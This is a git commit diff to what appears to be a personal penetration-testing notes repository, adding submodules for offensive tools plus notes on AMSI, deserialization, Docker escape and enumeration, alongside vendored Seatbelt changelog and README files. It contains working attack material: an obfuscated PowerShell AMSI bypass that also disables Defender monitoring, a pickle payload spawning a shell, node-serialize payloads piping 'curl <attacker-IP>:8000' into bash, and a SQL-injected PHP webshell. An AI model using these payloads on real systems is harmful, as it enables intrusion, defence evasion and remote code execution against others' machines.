pickle
This commit is contained in:
parent
375271ef5d
commit
cefc5b209a
|
@ -73,3 +73,18 @@
|
||||||
[submodule "post_exploitation/firefox_decrypt"]
|
[submodule "post_exploitation/firefox_decrypt"]
|
||||||
path = post_exploitation/firefox_decrypt
|
path = post_exploitation/firefox_decrypt
|
||||||
url = https://github.com/unode/firefox_decrypt.git
|
url = https://github.com/unode/firefox_decrypt.git
|
||||||
|
[submodule "hashes/password_cracking/colabcat"]
|
||||||
|
path = hashes/password_cracking/colabcat
|
||||||
|
url = https://github.com/someshkar/colabcat.git
|
||||||
|
[submodule "reverse_shells/php-reverse-shell"]
|
||||||
|
path = reverse_shells/php-reverse-shell
|
||||||
|
url = https://github.com/ivan-sincek/php-reverse-shell.git
|
||||||
|
[submodule "post_exploitation/CrackMapExec"]
|
||||||
|
path = post_exploitation/CrackMapExec
|
||||||
|
url = https://github.com/byt3bl33d3r/CrackMapExec.git
|
||||||
|
[submodule "post_exploitation/priv_esc/Seatbelt"]
|
||||||
|
path = post_exploitation/priv_esc/Seatbelt
|
||||||
|
url = https://github.com/GhostPack/Seatbelt
|
||||||
|
[submodule "post_exploitation/Invoke-EDRChecker"]
|
||||||
|
path = post_exploitation/Invoke-EDRChecker
|
||||||
|
url = https://github.com/PwnDexter/Invoke-EDRChecker.git
|
||||||
|
|
|
@ -8,10 +8,38 @@
|
||||||
* Static Detection -- Hash or String/Byte Matching
|
* Static Detection -- Hash or String/Byte Matching
|
||||||
* Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox
|
* Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox
|
||||||
|
|
||||||
|
## Anti Malware Secure Interface
|
||||||
|
* https://docs.microsoft.com/en-us/windows/win32/amsi/
|
||||||
|
|
||||||
|
### Return Result Codes
|
||||||
|
```
|
||||||
|
AMSI_RESULT_CLEAN = 0
|
||||||
|
AMSI_RESULT_NOT_DETECTED = 1
|
||||||
|
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
|
||||||
|
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
|
||||||
|
AMSI_RESULT_DETECTED = 32768
|
||||||
|
```
|
||||||
|
### Bypass
|
||||||
|
* Patching amsi.dll
|
||||||
|
* Amsi ScanBuffer patch
|
||||||
|
* Forcing errors
|
||||||
|
* [Matt Graeber's Reflection](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)
|
||||||
|
* PowerShell downgrade
|
||||||
|
* [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git)
|
||||||
|
|
||||||
|
* Practical example
|
||||||
|
```sh
|
||||||
|
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
|
||||||
|
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
|
||||||
|
Set-MpPreference -DisableRealtimeMonitoring $true
|
||||||
|
```
|
||||||
|
|
||||||
|
### Validate
|
||||||
|
* Validate Obfuscation
|
||||||
|
* [AMSITrigger Repo](https://github.com/RythmStick/AMSITrigger)
|
||||||
|
|
||||||
## Links
|
## Links
|
||||||
* [cmnatic](https://cmnatic.co.uk/)
|
* [cmnatic](https://cmnatic.co.uk/)
|
||||||
* [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/)
|
* [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/)
|
||||||
|
* [s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/)
|
||||||
|
* [amsi.fail](https://amsi.fail/)
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,11 @@
|
||||||
|
#!/usr/bin/python3
|
||||||
|
import socket
|
||||||
|
host = "1.1.1.1"
|
||||||
|
portList = [21,22,53,80,443,3306,8443,8080]
|
||||||
|
for port in portList:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.connect((host,port))
|
||||||
|
print("Port ", port, " is open")
|
||||||
|
except:
|
||||||
|
print("Port ", port, " is closed")
|
|
@ -0,0 +1,2 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
nc -zv $1 1-65535
|
|
@ -0,0 +1,5 @@
|
||||||
|
#!/bin/bash
|
||||||
|
ports=(21 22 53 80 443 3306 8443 8080)
|
||||||
|
for port in ${ports[@]}; do
|
||||||
|
timeout 1 bash -c "echo \"Port Scan Test\" > /dev/tcp/$1/$port && echo $port is open || /dev/null"
|
||||||
|
done
|
|
@ -210,6 +210,9 @@ Get-Process <process>
|
||||||
```sh
|
```sh
|
||||||
schtasks /query /fo LIST /v
|
schtasks /query /fo LIST /v
|
||||||
```
|
```
|
||||||
|
```sh
|
||||||
|
Get-ScheduledTaskInfo
|
||||||
|
```
|
||||||
* Scheduled Tasks, by TaskName
|
* Scheduled Tasks, by TaskName
|
||||||
```
|
```
|
||||||
Get-ScheduledTask | Where-Object -Property TaskName -Match taskname
|
Get-ScheduledTask | Where-Object -Property TaskName -Match taskname
|
||||||
|
@ -283,4 +286,13 @@ Get-NetDomainTrust
|
||||||
```sh
|
```sh
|
||||||
Find-LocalAdminAccess
|
Find-LocalAdminAccess
|
||||||
```
|
```
|
||||||
|
```sh
|
||||||
|
whoami /priv
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Import-Module ActiveDirectory
|
||||||
|
Get-ADGroup
|
||||||
|
Get-ADGroupMember
|
||||||
|
Get-ADPrincipalGroupMembership
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,16 @@
|
||||||
|
# Pickle
|
||||||
|
|
||||||
|
## Payload
|
||||||
|
* Inject payload
|
||||||
|
```python
|
||||||
|
import pickle
|
||||||
|
import os
|
||||||
|
import base64
|
||||||
|
class evil_object(object):
|
||||||
|
def __reduce__(self):
|
||||||
|
return(os.system, ('/bin/bash',))
|
||||||
|
x = evil_object()
|
||||||
|
x = evil_object()
|
||||||
|
y = pickle.dumps(x)
|
||||||
|
base64.b64encode(y)
|
||||||
|
```
|
|
@ -0,0 +1,5 @@
|
||||||
|
# Decompile PYC
|
||||||
|
|
||||||
|
```sh
|
||||||
|
uncompyle6 file.pyc
|
||||||
|
```
|
|
@ -1 +1,22 @@
|
||||||
# Cookie Tampering
|
# Cookie Tampering
|
||||||
|
|
||||||
|
## Components
|
||||||
|
|
||||||
|
* Separator is `;`
|
||||||
|
* Name
|
||||||
|
* Value
|
||||||
|
* Domain
|
||||||
|
* Path
|
||||||
|
* Expires/Maxage
|
||||||
|
* Size
|
||||||
|
* HttpOnly, no access by client side scripts
|
||||||
|
* Secure, HTTPs only
|
||||||
|
* SameSite, cookie sent through cross-site request
|
||||||
|
* SameParty, firt party requests only
|
||||||
|
* Priority
|
||||||
|
|
||||||
|
## Response
|
||||||
|
* May look like this
|
||||||
|
```sh
|
||||||
|
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,10 @@
|
||||||
|
# Client Filters
|
||||||
|
|
||||||
|
* Circumvent client side filters via
|
||||||
|
* Disable javascript
|
||||||
|
* Use curl
|
||||||
|
```sh
|
||||||
|
curl -X POST -F "submit=<value>" -F "<file-parameter>=@<path-to-file>" <site>
|
||||||
|
```
|
||||||
|
* Intercept and modify incoming page via Burpsuite
|
||||||
|
* Intercept and modify upload of already loaded page via Burpsuite
|
|
@ -0,0 +1,14 @@
|
||||||
|
# De/Serialization
|
||||||
|
|
||||||
|
* `_$$ND_FUNC$$_function (){}` is executed after parsing
|
||||||
|
|
||||||
|
## Example Payloads
|
||||||
|
|
||||||
|
* Encode, send and wait with `sudo tcpdump -i <interface> icmp`
|
||||||
|
```js
|
||||||
|
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('ping -c 10 <attacker-IP>', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
|
||||||
|
```
|
||||||
|
* reverse shell via
|
||||||
|
```js
|
||||||
|
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('curl <attacker-IP>:8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
|
||||||
|
```
|
|
@ -0,0 +1,27 @@
|
||||||
|
# Volatility
|
||||||
|
* [Cheat sheet](https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf)
|
||||||
|
* [Hacktricks shee](https://book.hacktricks.xyz/forensics/volatility-examples)
|
||||||
|
|
||||||
|
* Basic Info, find OS profile
|
||||||
|
```sh
|
||||||
|
volatility -f <file.iso> imageinfo
|
||||||
|
volatility -f <file.iso> kdbgscan
|
||||||
|
```
|
||||||
|
* Process list
|
||||||
|
```sh
|
||||||
|
volatility -f <file.iso> --profile <OSprofile> pslist
|
||||||
|
```
|
||||||
|
* List dlls
|
||||||
|
```sh
|
||||||
|
volatility -f <file.iso> --profile <OSprofile> dlllist -p <PID>
|
||||||
|
```
|
||||||
|
* Last accessed dir
|
||||||
|
```sh
|
||||||
|
volatility -f <file.iso> --profile <OSprofile> shellbags
|
||||||
|
```
|
||||||
|
## Plugins
|
||||||
|
|
||||||
|
* For example
|
||||||
|
* Truecryptpassphrase
|
||||||
|
* cmdscan, command history
|
||||||
|
* shutdowntime
|
|
@ -1 +1 @@
|
||||||
Subproject commit 23453f5d8c56030acf1fea72f2b9d0c9dfda85c6
|
Subproject commit f821ac60721047dd7b8832724b28e1383903199c
|
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 8642f3c3fc588e246a0c6e05697289e65f087a98
|
|
@ -1,5 +1,7 @@
|
||||||
# Docker Vulnerabilities
|
# Docker Vulnerabilities
|
||||||
|
|
||||||
|
* [Container enumeration](https://github.com/stealthcopter/deepce)
|
||||||
|
|
||||||
## Abusing Registry
|
## Abusing Registry
|
||||||
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
|
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
|
||||||
* Registry is a json API endpoint
|
* Registry is a json API endpoint
|
||||||
|
@ -124,6 +126,22 @@ curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.s
|
||||||
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
|
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
|
||||||
```
|
```
|
||||||
* Login in to the host via ssh
|
* Login in to the host via ssh
|
||||||
|
## Escape through DB
|
||||||
|
|
||||||
|
* Login into DB
|
||||||
|
* Create table
|
||||||
|
* Inject PHP code
|
||||||
|
* Select table content intoa file the user can read
|
||||||
|
* Execute the file
|
||||||
|
```sql
|
||||||
|
create table h4x0r (pwn varchar(1024));
|
||||||
|
insert into h4x0r (pwn) values ('<?php $cmd=$_GET[“cmd”];system($cmd);?>');
|
||||||
|
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
|
||||||
|
```
|
||||||
|
* curl the webshell hon the exploited host
|
||||||
|
```sh
|
||||||
|
curl <host-IP>/shell.php?cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
## Dirty c0w
|
## Dirty c0w
|
||||||
https://github.com/dirtycow/dirtycow.github.io
|
https://github.com/dirtycow/dirtycow.github.io
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 25686f4271b87f32bbef5701125245fd1eb8575c
|
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 8d84968f7c6c8e9b32f3961a2952d83a662bd65d
|
|
@ -0,0 +1,35 @@
|
||||||
|
---
|
||||||
|
name: Bug report
|
||||||
|
about: Create a report to help us improve
|
||||||
|
title: ''
|
||||||
|
labels: ''
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Describe the bug**
|
||||||
|
A clear and concise description of what the bug is.
|
||||||
|
|
||||||
|
This is a bug tracker. If you need help using the tool, make sure you've read the detailed [README](https://github.com/GhostPack/Seatbelt/blob/master/README.md). If something is not in the README that you think would be beneficial, please submit bug requesting the information or, even better, submit a pull request.
|
||||||
|
|
||||||
|
If you are running multiple commands or a command group and Seatbelt is crashing before it finishes, consider writing output to a file (`Seatbelt.exe -outputFile=out.txt`) so we can determine the last command that executed before it failed.
|
||||||
|
|
||||||
|
**To Reproduce**
|
||||||
|
Steps to reproduce the behavior. Please include any applicable artifacts that we could use to replicate the issue(e.g. files, registry keys, screenshots, etc.)
|
||||||
|
1.
|
||||||
|
2.
|
||||||
|
3.
|
||||||
|
4.
|
||||||
|
|
||||||
|
**Expected behavior**
|
||||||
|
A clear and concise description of what you expected to happen.
|
||||||
|
|
||||||
|
**Observed behavior**
|
||||||
|
A description of what Seatbelt did that you did not expect it to.
|
||||||
|
|
||||||
|
**Software versions (where applicable)**
|
||||||
|
- OS (open `cmd.exe` and type `ver`)
|
||||||
|
- If it concerns a specific product. please include the product's version number or PE file version information(`Seatbelt.exe "fileinfo C:\path\to\product.exe"`)
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context about the problem here.
|
|
@ -0,0 +1,19 @@
|
||||||
|
---
|
||||||
|
name: Feature request
|
||||||
|
about: Suggest an idea for this project
|
||||||
|
title: ''
|
||||||
|
labels: enhancement
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Is your feature request related to a problem? Please describe.**
|
||||||
|
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||||
|
|
||||||
|
**Describe the solution you'd like**
|
||||||
|
A clear and concise description of what you want to happen.
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context or screenshots about the feature request here.
|
||||||
|
|
||||||
|
For Seatbelt enumeration command requests, please include example registry keys, file, shell commands, etc. that could be used as test cases.
|
|
@ -0,0 +1,6 @@
|
||||||
|
.vs
|
||||||
|
*.user
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
|
@ -0,0 +1,226 @@
|
||||||
|
# Changelog
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
|
||||||
|
## [1.1.1] - 2020-11-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
* Added remote support to the following commands:
|
||||||
|
* PowerShell, DotNet
|
||||||
|
* FirefoxPresence, FirefoxHistory
|
||||||
|
* ChromePresence/ChromeHistory/ChromeBookmarks
|
||||||
|
* InternetExplorerFavorites, IEUrls
|
||||||
|
* SlackDownloads, SlackPresence, SlackWorkspaces
|
||||||
|
* CloudCredentials, FileZilla, OutlookDownloads, RDCManFiles
|
||||||
|
* SuperPutty, LocalUsers, LocalGroups, PowerShellHistory
|
||||||
|
* Credguard, InstalledProducts, AppLocker, AuditPolicyRegistry
|
||||||
|
* DNSCache, PSSessionSettings, OSInfo, EnvironmentVariables, DpapiMasterKeys
|
||||||
|
|
||||||
|
* Implemented remote event log support:
|
||||||
|
* ExplicitLogonEvents, LogonEvents, PoweredOnEvents, PowerShellEvents, ProcessCreationEvents, SysmonEvents
|
||||||
|
|
||||||
|
* Chrome* modules now converted to Chromium support:
|
||||||
|
* Chrome, Edge, Brave, Opera
|
||||||
|
|
||||||
|
* Added IBM Bluemix enumeration to CloudCredentials
|
||||||
|
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
* Better error handling in various modules
|
||||||
|
* OS version number collection on Windows 10
|
||||||
|
* McAfeeSiteList null pointer exception
|
||||||
|
* Interpretation of uac/tokenfilter/filteradmintoken values
|
||||||
|
* Nullable type issues
|
||||||
|
* WindowsFirewall filtering
|
||||||
|
|
||||||
|
|
||||||
|
## [1.1.0] - 2020-09-30
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
* Added the following commands:
|
||||||
|
* Hotfixes - installed hotfixes (via WMI)
|
||||||
|
* MicrosoftUpdates - all Microsoft updates (via COM)
|
||||||
|
* HuntLolbas - hunt for living-off-the-land binaries (from @NotoriousRebel)
|
||||||
|
* PowerShellHistory - searches PowerShell console history files for sensitive regex matches (adapted from @NotoriousRebel)
|
||||||
|
* RDPSettings - Remote Desktop Server/Client Settings
|
||||||
|
* SecPackageCreds - obtains credentials from security packages (InternalMonologue for the current user)
|
||||||
|
* FileZilla - files user FileZilla configuration files/passwords
|
||||||
|
* SuperPutty - files user SuperPutty configuration files
|
||||||
|
* McAfeeSiteList - finds/decrypts McAfee SiteList.xml files
|
||||||
|
* McAfeeConfigs- finds McAfee configuration files
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
* Added CLR version enumeration to "DotNet" and "PowerShell" commands
|
||||||
|
* Updated LSASettings to detect restricted admin mode
|
||||||
|
* Added ZoneMapKey & Auth settings to "InternetSettings" (Francis Lacoste)
|
||||||
|
* Added support for ByteArrays in "WindowsVault"
|
||||||
|
* Redid assembly detection to (hopefully) prevent image load events
|
||||||
|
* Added version/description fields to processes and services
|
||||||
|
* Added ASR rules to "WindowsDefender" command
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
* Big fix for event log searching
|
||||||
|
* Fix for sensitive command line scraping
|
||||||
|
* Code cleanup/dead code removal
|
||||||
|
* Allow empty companyname the Services command
|
||||||
|
* Better exception handling
|
||||||
|
* Various fixes/expansions for the "WindowsVault" command
|
||||||
|
* Added disposing of output sinks
|
||||||
|
* Other misc. bug fixes
|
||||||
|
|
||||||
|
|
||||||
|
## [1.0.0] - 2020-05-26
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
* Added the following commands:
|
||||||
|
* NTLMSettings, SCCM, WSUS, UserRightAssignments, IdleTime, FileInfo, NamedPipes, NetworkProfile
|
||||||
|
* AMSIProviders, RPCMappedEndpoints, LocalUsers, CredGuard, LocalGPOs, OutlookDownloads
|
||||||
|
* AppLocker (thanks @_RastaMouse! https://github.com/GhostPack/Seatbelt/pull/15)
|
||||||
|
* InstalledProducts and Printers commands, with DACLs included for printers
|
||||||
|
* SearchIndex - module to search the Windows Search Indexer
|
||||||
|
* WMIEventFilter/WMIEventConsumer/WMIEventConsumer commands
|
||||||
|
* ScheduledTasks command (via WMI for win8+)
|
||||||
|
* AuditPolicies/AuditSettings - classic and advanced audit policy settings
|
||||||
|
* EnvironmentPath - %ENV:PATH% folder enumeration, along with DACLs
|
||||||
|
* ProcessCreation - from @djhohnstein's EventLogParser project. Expanded sensitive regexes.
|
||||||
|
* CredEnum - use CredEnumerate() to enumerate the credentials from the user's credential set (thanks @djhohnstein and @peewpw)
|
||||||
|
* SecurityPackages - uses EnumerateSecurityPackages() to enumerate available security packages
|
||||||
|
* WindowsDefender - exclusions for paths/extensions/processes for Windows Defender
|
||||||
|
* DotNet - detects .NET versions and whether AMSI is enabled/can by bypassed (similar to 'PowerShell')
|
||||||
|
* ProcessOwners - simplified enumeration of non-session 0 processes/owners that can function remotely
|
||||||
|
* dir
|
||||||
|
* Allows recursively enumerating directories and searching for files based on a regex
|
||||||
|
* Lists user folders by default
|
||||||
|
* Usage: "dir [path] [depth] [searchRegex] [ignoreErrors? true/false]"
|
||||||
|
* Default: "dir C:\users\ 2 \\(Documents|Downloads|Desktop) false"
|
||||||
|
* Shows files in users' documents/downloads/desktop folders
|
||||||
|
* reg
|
||||||
|
* Allows recursively listing and searching for registry values on the current machine and remotely (if remote registry is enabled).
|
||||||
|
* Added additional defensive process checks thanks to @swarleysez, @Ne0nd0g, and @leechristensen. See https://github.com/GhostPack/Seatbelt/pull/17 and https://github.com/GhostPack/Seatbelt/pull/19.
|
||||||
|
* Added Xen virtual machine detections thanks to @rasta-mouse. See https://github.com/GhostPack/Seatbelt/pull/18
|
||||||
|
* Added the following command aliases:
|
||||||
|
* "Remote" for common commands to run remotely
|
||||||
|
* "Slack" to run Slack-specific modules
|
||||||
|
* "Chrome" to run Chrome-specific modules
|
||||||
|
* Added in ability to give commands arguments (to be expanded in the future). Syntax: `Seatbelt.exe "PoweredOnEvents 30"`
|
||||||
|
* Added remote support for WMI/registry enumeration modules that are marked with a +
|
||||||
|
* Usage: computername=COMPUTER.DOMAIN.COM [username=DOMAIN\USER password=PASSWORD]
|
||||||
|
* Added the "-q" command-line flag to not print the logo
|
||||||
|
* Added ability to output to a file with the the "-o <file>" parameter
|
||||||
|
* Providing a file that ends in .json produces JSON-structured output!
|
||||||
|
* Added in the architecture for different output sinks. Still need to convert a lot of cmdlets to the new format.
|
||||||
|
* Added a module template.
|
||||||
|
* Added CHANGELOG.md.
|
||||||
|
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
* Externalized all commands into their own class/file
|
||||||
|
* Cleaned up some of the registry querying code
|
||||||
|
* Commands can now be case-insensitive
|
||||||
|
* Seatbelt's help message is now dynamically created
|
||||||
|
* Renamed RebootSchedule to PoweredOnEvents
|
||||||
|
* Now enumerates events for system startup/shutdown, unexpected shutdown, and sleeping/awaking.
|
||||||
|
* Modified the output of the Logon and ExplicitLogon event commands to be easier to read/analyze
|
||||||
|
* LogonEvents, ExplicitLogonEvents, and PoweredOnEvents take an argument of how many days back to collect logs for. Example: Seatbelt.exe "LogonEvents 50"
|
||||||
|
* Added Added timezone, locale information, MachineGuid, Build number and UBR (if present) to OSInfo command
|
||||||
|
* Refactored registry enumeration code
|
||||||
|
* Putty command now lists if agent forwarding is enabled
|
||||||
|
* Renamed BasicOSInfo to OSInfo
|
||||||
|
* Simplified IsLocalAdmin code
|
||||||
|
* Added the member type to localgroupmembership output
|
||||||
|
* Simplified the RDPSavedConnections code
|
||||||
|
* Formatted the output of RDPSavedConnections to be prettier
|
||||||
|
* Formatted the output of RecentFiles to be prettier
|
||||||
|
* Modified logonevents default so that it only outputs the past day on servers
|
||||||
|
* Re-wrote the PowerShell command. Added AMSI information and hints for bypassing.
|
||||||
|
* Add NTLM/Kerberos informational alerts to the LogonEvents command
|
||||||
|
* Changed the output format of DpapiMasterKeys
|
||||||
|
* Re-wrote the Registry helper code
|
||||||
|
* Refactored the helper code
|
||||||
|
* Incorprated [@mark-s's](https://github.com/mark-s) code to speed up the interestingfiles command. See [#16](https://github.com/GhostPack/Seatbelt/pull/16)
|
||||||
|
* Added SDDL to the "fileinfo" command
|
||||||
|
* Added MRUs for all office applications to the RecentFiles command
|
||||||
|
* RecentFiles now has a paramater that restricts how old the documents are. "RecentFiles 20" - Shows files accessed in the last 20 days.
|
||||||
|
* Renamed RegistryValue command to "reg"
|
||||||
|
* Search terms in the "reg" command now match keys, value names, and values.
|
||||||
|
* Updated the "reg" commands arguments.
|
||||||
|
* Usage: "reg <HIVE[\PATH\TO\KEY]> [depth] [searchTerm] [ignoreErrors]"
|
||||||
|
* Defaults: "reg HKLM\Software 1 default true"
|
||||||
|
* Added generic GetSecurityInfos command into SecurityUtil
|
||||||
|
* Formatting tweak for DPAPIMasterkeys
|
||||||
|
* WindowsVaults output filtering
|
||||||
|
* Renamed RecentFiles to ExplorerMRUs, broke out functionality for ExplorerMRUs and OfficeMRUs
|
||||||
|
* Broke IETriage command into IEUrls and IEFavorites
|
||||||
|
* Changed FirefoxCommand to FirefoxHistory
|
||||||
|
* Changed ChromePresence and FirefoxPresence to display last modified timestamps for the history/cred/etc. files
|
||||||
|
* Split ChromeCommand into ChromeHistoryCommand and ChromeBookmarksCommand
|
||||||
|
* Broke PuttyCommand into PuttyHostKeys and PuttySessions
|
||||||
|
* Added SDDL field to InterestingFiles command
|
||||||
|
* Modified IdleTime to display the current user and time in h:m:s:ms format
|
||||||
|
* Moved Firewall enumeration to the registry (instead of the COM object). Thanks @Max_68!
|
||||||
|
* Changed TokenGroups output formatting
|
||||||
|
* Renamed localgroupmemberships to localgroups
|
||||||
|
* Changed network firewall enumeration to display "non-builtin" rules instead of deny. Added basic filtering.
|
||||||
|
* Added IsDotNet property to the FileInfo command
|
||||||
|
* Renamed "NonstandardProcesses" and "NonstandardServices" to "Processes" and "Services", respectively
|
||||||
|
* LocalGroups now enumerates all (by default non-empty) local groups and memberships, along with comments
|
||||||
|
* Added a "modules" argument to the "Processes" command to display non-Microsoft loaded processes
|
||||||
|
* Notify operator when LSA Protected Mode is enabled (RunAsPPL)
|
||||||
|
* Updated the EnvironmentVariables command to distinguish between user/system/current process/volatile variables
|
||||||
|
* Added a user filter to ExplicitLogonEvents. Usage: `ExplicitLogonEvents <days> <targetUserRegex>`
|
||||||
|
* Added version check for Chrome (v80+)
|
||||||
|
* Added analysis messages for the logonevents command
|
||||||
|
* Rewrote and expanded README.md
|
||||||
|
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
* Some timestamp converting code in the ticket extraction section
|
||||||
|
* Fixed Chrome bookmark command (threw an exception with folders)
|
||||||
|
* Fixed reboot schedule (xpath query wasn't precise enough, leading to exceptions)
|
||||||
|
* Fixed an exception that was being thrown in the CloudCredential command
|
||||||
|
* NonstandardServices command
|
||||||
|
* Fixed a bug that occurred during enumeration
|
||||||
|
* Added ServiceDll and User fields
|
||||||
|
* Partially fixed path parsing in NonstandardServices with some help from OJ (@TheColonial)! See https://github.com/GhostPack/Seatbelt/pull/14
|
||||||
|
* Cleaned up the code
|
||||||
|
* Fixed a bug in localgroupmembership
|
||||||
|
* Check if it's a Server before running the AntiVirus check (the WMI class isn't on servers)
|
||||||
|
* Fixed a bug in WindowsCredentialFiles so it wouldn't output null bytes
|
||||||
|
* Fixed a null reference bug in the PowerShell command
|
||||||
|
* Fixed the OS version comparisons in WindowsVault command
|
||||||
|
* Fixed a DWORD parsing bug in the registry util class for big (i.e. negative int) values
|
||||||
|
* ARPTable bug fix/error handling
|
||||||
|
* Fixed PuttySession HKCU v. HKU bug
|
||||||
|
* Fixed a terminating exception bug in the Processes command when obtaining file version info
|
||||||
|
* More additional bug fixes than we can count >_<
|
||||||
|
|
||||||
|
|
||||||
|
### Removed
|
||||||
|
|
||||||
|
* Removed the UserFolder command (replaced by DirectoryList command)
|
||||||
|
|
||||||
|
|
||||||
|
## [0.2.0] - 2018-08-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
* @djhohnstein's vault enumeration
|
||||||
|
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
* @ClementNotin/@cnotin's various fixes
|
||||||
|
|
||||||
|
|
||||||
|
## [0.1.0] - 2018-07-24
|
||||||
|
|
||||||
|
* Initial release
|
|
@ -0,0 +1,14 @@
|
||||||
|
Rubeus is provided under the 3-clause BSD license below.
|
||||||
|
|
||||||
|
*************************************************************
|
||||||
|
|
||||||
|
Copyright (c) 2020, Will Schroeder and Lee Christensen
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,487 @@
|
||||||
|
# Seatbelt
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
|
||||||
|
|
||||||
|
[@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.
|
||||||
|
|
||||||
|
[@harmj0y](https://twitter.com/harmj0y) and [@tifkin_](https://twitter.com/tifkin_) are the primary authors of this implementation.
|
||||||
|
|
||||||
|
Seatbelt is licensed under the BSD 3-Clause license.
|
||||||
|
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [Seatbelt](#seatbelt)
|
